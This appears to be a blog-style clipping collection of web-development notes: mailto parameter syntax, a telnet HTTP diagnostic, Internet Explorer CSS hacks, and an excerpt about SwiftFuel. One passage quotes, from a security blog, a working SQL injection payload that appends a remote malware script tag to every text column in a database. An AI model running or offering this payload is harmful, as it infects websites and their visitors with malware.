The MailTo command can do more than enter a single e-mail address in the “Send To” field while activating your e-mail program. It can also:

Notes:

” “ (beginning and ending double quotes) are necessary if any spaces are used Mailto parameter should be preceded by “?” for the first or only parameter and “&” for second and subsequent parameter.

Some examples, with actual HTML Code included, follow:

Simple MailTo

• <a href=”mailto:astark1@unl.edu”>MailTo with Multiple Recipients
• <a href=”mailto:astark1@unl.edu,ASTARK1@UNL.EDU“>MailTo with Subject
• <a href=”mailto:astark1@unl.edu?subject=Comments from MailTo Syntax Page“>

  MailTo with a Copy

• <a href=”mailto:astark1@unl.edu?cc=ASTARK1@UNL.EDU“>MailTo with a Blind Copy
• <a href=”mailto:astark1@unl.edu?bcc=ASTARK1@UNL.EDU“>MailTo with message already started in Body
• <a href=”mailto:astark1@unl.edu?body=I am having trouble finding information on “>MailTo with multiline message in Body
• <a href=”mailto:astark1@unl.edu?body=The message’s first paragraph.%0A%0aSecond paragraph.%0A%0AThird Paragraph.“>NOTE: Use “%0A” for a new line, use “%0A%0A” for a new line preceded by a blank line.

Features may be used in combination

• MailTo with Subject, a Recipient, a Copy and a Blind Copy
• <a href=”mailto:astark1@unl.edu?subject=MailTo Comments&cc=ASTARK1@UNL.EDU&bcc=id@internet.node”>

Remember to use only one ? (question mark), when providing multiple entries beyond e-mail address

IEBlog : Site Compatibility and IE8

Here’re a couple of methods for coding to IE8 (new hacks! d’oh!):

Initial CSS Property Values

In a nutshell, you’ll want something like this:

telnet eastvalley.freedomblogging.com 80[cr]
Trying 69.25.233.100…
Connected to eastvalley.freedomblogging.com.
Escape character is ‘^]’.
HEAD / HTTP/1.1[cr]
Host: eastvalley.freedomblogging.com[cr]
[cr]

Note: italic items are sent by the server, whilst non-italic items are typed. Also NOTE the double carriage return ([cr]) at the end.

Tutorials – Servers > Telnet as a Diagnostic Aid

Underscore Hack

/* CSS hack for IE 6 and below */
.test {
  position: fixed;
  _position: absolute;
}

Voice Family (Box Family or Tantek Hack)

/* CSS hack for IE 5.x */
.test {
  width: 500px;
  padding: 50px;
  voice-family: "\"}\"";
  voice-family: inherit;
  width: 400px;
}
html>body .test{
 width: 400px;
}

Backslash Hack

/* CSS hack for IE 5.5 and below */

.test {
  height: 500px;
  he\ight: 400px;
}

Commented Backslash Hack

/* begin hiding from IE5 Mac \*/
.test {
  color: red;
}
/* end */

And then there’s:

/* apply ONLY to IE5 Mac \*//*/
.test {
  color: red;
}
/* end */

High Pass Filter

/* CSS hack hides from browser which don't support @import */
  @import "null.css?\"\{";
  @import "highpass.css";

Download Farbtastic 1.2 – 8 January 2007 (License: GPL).

Farbtastic: jQuery color picker plug-in | Steven Wittens – Acko.net

This is a nifty tool to format JavaScript that has been mini-fied. Very nifty for reading JavaScript (although it doesn’t get your function names back, if they’ve been obfuscated…).

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Workarounds, Filters, and Hacks – SitePoint CSS Reference

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Cars are the key to U.S. energy consumption. The dominant automotive platform here, whether you drive a truck, a car, or a motorcycle, relies on gasoline-fueled internal combustion engines. That’s the platform we are unlikely to change quickly. So how do we leave that platform intact and unchanged, ask nobody to significantly sacrifice, yet still achieve the noble (and Nobel) goals of lower fuel consumption, lower greenhouse gas emissions, lower pollution levels, dramatically lower oil consumption, lower cost, and lower geopolitical vulnerability for our country? There’s only one way I know to accomplish this: change the fuel.

This happened to a certain extent in Brazil during the ’70s and ’80s by embracing ethanol. But ethanol has less energy per gallon so fuel consumption goes up and mileage goes down. Ethanol can’t be shipped in pipelines also used for oil. Cars have to be modified to run on it and even then there are issues about internal corrosion. Ethanol is far from perfect. What’s needed is a replacement for gasoline that looks and feels and tastes just like gas to your car but isn’t made from oil. Then the platform could remain completely unchanged yet my 1966 Thunderbird (and the world) could benefit starting with the very next tankful.

There is such a fuel, developed by a husband and wife team of scientists working in Indiana in cooperation with Purdue University. This new fuel, called SwiftFuel, is right now intended for airplanes, not cars, but the lessons are the same.